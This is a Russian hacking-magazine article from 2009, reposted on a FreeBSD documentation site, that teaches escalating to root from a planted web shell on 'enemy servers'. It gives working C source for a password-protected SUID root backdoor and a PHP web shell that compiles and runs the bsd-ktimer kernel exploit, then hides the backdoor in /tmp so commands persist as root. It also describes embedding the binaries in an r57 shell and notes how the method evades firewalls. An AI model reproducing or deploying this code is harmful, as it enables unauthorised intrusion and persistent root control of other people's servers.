Документация по ОС FreeBSD Пятница, 26.04.2024, 01:13
Приветствую Вас Гость | RSS
Меню сайта

Категории каталога
Мои статьи [0]
Установка и настройка [281]
X Window [25]
Man pages [30]
Ports & Packages [26]
cvs [18]
Multimedia [20]
Нововсти в мире Unix [0]
RFC [4]
RFC (Request for Comments, Запрос на комментарии) - серия документов, публикуемая сообществом исследователей и разработчиков, руководствующихся практическими интересами, в которой описывается набор протоколов и обобщается опыт функционирования Интернет.
Безопасность [52]
Работа с железом [58]
Книги по FreeBSD [17]
Сеть [505]
Программирование [40]
FireWall [58]
Темы экзамена BSDA [14]
Официальные темы экзамена BSDA, включая подробноые описания и советы по обучению.

Главная » Статьи » Безопасность

Революция в *nix-системах новый взгляд на повышение привилегий [2009]
Зайдя на свежезалитый шелл, ты первым делом смотришь свои права в системе, а именно — результат команды «id» в nixсистемах. Наши права по дефолту uid=80, то есть обычного юзера www! не отчаивайся, мы научимся поднимать их до r00t'a и сохранять непосредственно в веб-шелле. Это мечта любого хакера.

Немного теории

SUID — расшифровывается как Set user ID, переводится с забугорного — «установить идентификатор пользователя». Если установлены права доступа SUID и файл исполняемый (то есть наш будущий бинарник), то при выполнении этот файл получает не права запустившего его (www), а права владельца файла. Эксплойт — в нашем случае это компьютерная программа, использующая уязвимости в программном обеспечении и применяемая для повышения привилегий (получения рута). Это был вольный пересказ Википедии. Root, суперпользователь — специальный аккаунт в UNIX-подобных системах с идентификатором (UID) 0, владелец которого имеет право на выполнение всех без исключения операций (грубо говоря, да простят меня линуксоиды, это аналог учетки Администратора в Windows). Тоже вольный пересказ Википедии.

Итак, с теорией покончили (надеюсь, было нескучно). Движемся далее... НАПОЛЕОНОВСКИЕ ПЛАНЫ Затея у нас круче, чем у Наполеона, мы собираемся сделать мировую революцию. Нам предстоит удивить всех рутовым web-шеллом, которого нет ни у кого! А именно, предстоит:

  1. Составить задачу и продумать алгоритм работы нашего чудо-шелла
  2. Накодить SUIDник
  3. Накодить непосредственно сам web-shell
  4. Связать все эти прелести чудесных языков программирования
  5. Таки получить и сохранить r00t'a на вражеском сервере

Первым делом, первым делом... алгоритмы

Сначала придумаем алгоритм работы и вообще всю схему получения и сохранения рута. Сразу предупрежу, что тестировать наше детище мы будем на сервере с установленной FreeBSD 7.1 (причины сего деяния оглашу позже).

Смысл всей затеи состоит в следующем — мы запустим эксплоит из Web'а, то есть непосредственно из нашего любимого браузера, установим суидные права и сменим хозяина (owner'a) нашему суиднику и наконец-таки будем выполнять команды под рутом.
Почему же мы выбрали для теста именно FreeBSD 7.1? Все гениальное просто.

Мы ведь будем юзать эксплойт из веба, а под данную ОСь как раз есть подходящий эксплойт ktimer (http://milw0rm.com/exploits/8261). Прелесть в том, что результат его работы — не получение /bin/sh, а установка uid=0, gid=0 вызывающему процессу. Это-то нам и нужно.

Пишем suidник

От слов к делу, — я сразу приведу листинг кода, а уж после будем с тобой его разбирать.

#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[]) {
// проверяем количество аргументов
if(argc == 3){
//проверяем наш пароль cool_hack
if(strcmp(argv[1], "cool_hack") == 0){
// Устанавливаем gid(0) r00t
setgid(0);
// Устанавливаем uid(0) r00t
setuid(0);
// Выполняем команды с установленными
ранее правами
system(argv[2]);
}
}
return 0;
}

Думаю, глядя на комментарии, уже становится ясен смысл нашей программы. Сначала мы проверяем количество аргументов — их должно быть три: argv[0] — имя самого скомпилированного SUIDника, argv[1] — наш пароль и argv[2] — непосредственно сама команда.
Разберемся с некоторыми моментами работы с бинарными файлами при установленном SUID-бите, дабы не возвращаться к этому позднее.

1. -rwxr-x--x 1 www apache 5043 2009-09-09 13:51 suid

Файл suid с правами доступа -rwxr-x--x, то есть хозяин файла (www) может читать, изменять и запускать на исполнение; члены группы (apache) могут читать и запускать файл на исполнение, а все остальные пользователи могут лишь запускать на исполнение.
К примеру, результат команды id через наш файл для членов группы site будет подобным uid=80(site), gid=80(site), groups=80(apache)

2. Устанавливаем бит SUID на файл командой chmod 4751 suid

-rwsr-x--x 1 www apache 5043 2009-09-09 13:51 suid

Наверняка, ты заметил, что символ x (запуск на исполнение) сменился на s (SUID бит).

Как мы уже знаем, бинарник с суид битом будет выполняться не от имени вызывающего, а от имени хозяина (owner'a). Опять же, результат команды id через наш файл для членов группы site будет подобным uid=80(www), gid=80(www), groups=80(apache).

3. Забегая вперед, обозначим, что нам придется сменить владельца файла. Мы это сделаем под рутом командой chown root suid.

-rwsr-x--x 1 root apache 5043 2009-09-09 13:51 suid

И снова результат команды id через наш файл будет подобным uid=0(root), gid=0(root), groups=80(apache). Исходя из этого, уже видно, что любой пользователь системы, даже не входя в состав группы хозяина, имеет право на запуск бинарника, да мало того, еще и с правами хозяина, то бишь рута, так как установлен SUID-бит.

Так-с, с этим разобрались. Осталась самая малость, — скомпилировать файл. Делаем это командой gcc suid.c -o suid. В итоге получаем бинарный файл suid. Пример использования будет таков — «./suid cool_hack id» (имя файла, пароль, команда)

Начинаем z-кодинг

<?php
/*********** CONFIGURATION **************/
$pass_suid = 'cool_hack'; // пароль, который
мы установили в сорцах суидника
/*********** END CONFIGURATION **********/
/*********** FUNCTIONS ***************/
/*
Наша функция по выполнению команд Если существует файл /tmp/conf (так мы замаскировали наш суидник), то выполнение команд идет через него, иначе просто функцией system.
*/
function hack_system($cmd,$pass_suid)
{
if(file_exists('/tmp/conf'))
{
system('/tmp/conf '.$pass_suid.'
"'.$cmd.'"'));
}
else{
system($cmd);
}
}
/*
Вот и главная функция, которая скопирует наш эксплойт и суидник, скомпилирует их и запустит
*/
function give_me_root()
{
// компилируем эксплойт
system('gcc bsd-ktimer.c -o /tmp/
configure');
// компилируем суидник
system('gcc suid.c -o /tmp/conf');
// запускаем сплойт, меняем «овнера»
суиднику и устанавливаем права
system('/tmp/configure; chown root /tmp/
conf; chmod 4777 /tmp/conf');
return print 'OK!';
}
/********* END FUNCTIONS ***************/
print
'<html>'.
'<head>'.
'<title>r00t web-shell</title>'.
'</head>'.
'<body>';
/*********** MAIN CODE ***************/
/*
Выводим форму для выполнения команд
*/
if(!isset($_POST['cmd']))
{
print '<form method="post">'.
'<input name="cmd" type="text" value="ls
-lia">'.
'<input type="submit" value="Go">'.
'</form><br><br>';
}
else
{
hack_system($_POST['cmd'],$pass_suid);
}
/*
Выводим заветную кнопочку для получения
рута
*/
if(!isset($_POST['give_me_root']))
{
print '<form method="post">
<input type="submit" name="give_me_root"
value="Give me r00t">
</form>';
}
else
{
give_me_root();
}
/********** END CODE *************/
print
'</body>'.
'</html>';
?>

Интеграция, адаптация и прочие непонятные слова

В итоге мы таки получили рута! При последующем посещении web-шелла мы уже будем рутом (при условии, что наш суид-шелл не увидит рут, и не удалит его).

Однако шелл у нас получился довольно примитивный; чтобы интегрировать наши прелести в привычные шелла типа r57, c99, WSO2 и т.д., принцип работы тот же.

На диске ты найдешь подправленный мной код шелла r57. Единственное, что отличает подправленный r57 от того, который мы сегодня написали, — в r57 эксплойт и суид-шелл я скомпилировал, перевел полученные бинарники в base64 и вставил полученный код в сам шелл. Далее мы расшифровываем base64-код и сохраняем в файл. Таким образом, у нас получается один файл, — это удобнее в плане транспортировки и заливки.

С интеграцией в другие шеллы разобрались, осталось разобрать ситуацию с применением эксплойтов для других операционных систем и других версий. Причина, по которой я выбрал для теста FreeBSD — этот эксплойт под версию 7.1 и 7.2 результатом своей работы возвращает не /bin/sh, которой мы бы пользовались при простом бекконекте, а возвращает uid и gid 0 для текущего процесса. То есть является универсальным. Последний способ для нас удачен, ведь мы можем использовать его непосредственно из web'a. Так мы пришли к выводу, что для использования эксплойта с нашими условиями необходимо переписать эксплойты, чтобы они устанавливали uid, gid. Как это организовать — история уже для другой статьи.

Итоги наших приключений

Сразу хочется отметить плюсы и минусы этого подхода к получению рута.

Плюсы

  • Получаем права root на веб-шелле
  • Не нужен сервер для бекконекта
  • Обход файрвола, так как нет исходящих соединений, бинда порта и т.д. (а зачастую это большая проблема для создания бекконекта)

Минусы

  • Пока есть малое количество эксплойтов, которые мы можем использовать; остальные нужно редактировать
  • Если наш шелл попадет к недругам, либо просто к нечистым на руку, то злодеи получат уже готовенький root-шелл без особых усилий. так что — защищайте свой шелл! 

Links

• http://milw0rm.com/exploits/8261 — эксплоит bsdktimer.c.
• http://wiki.kryukov.biz/wiki/Специальные_права — описание SUID, SGID и Stiky битов.

Warning

Внимание! Редакция журнала и автор не несут ответственности за вред, возможно, причиненный при использовании методов и файлов данной статьи. Статья представлена только для ознакомления в образовательных целях.



Источник: http://www.xakep.ru/magazine/xa/131/052/1.asp
Категория: Безопасность | Добавил: oleg (31.05.2010)
Просмотров: 876 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа

Beastie

Друзья сайта

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
links

Copyright MyCorp © 2024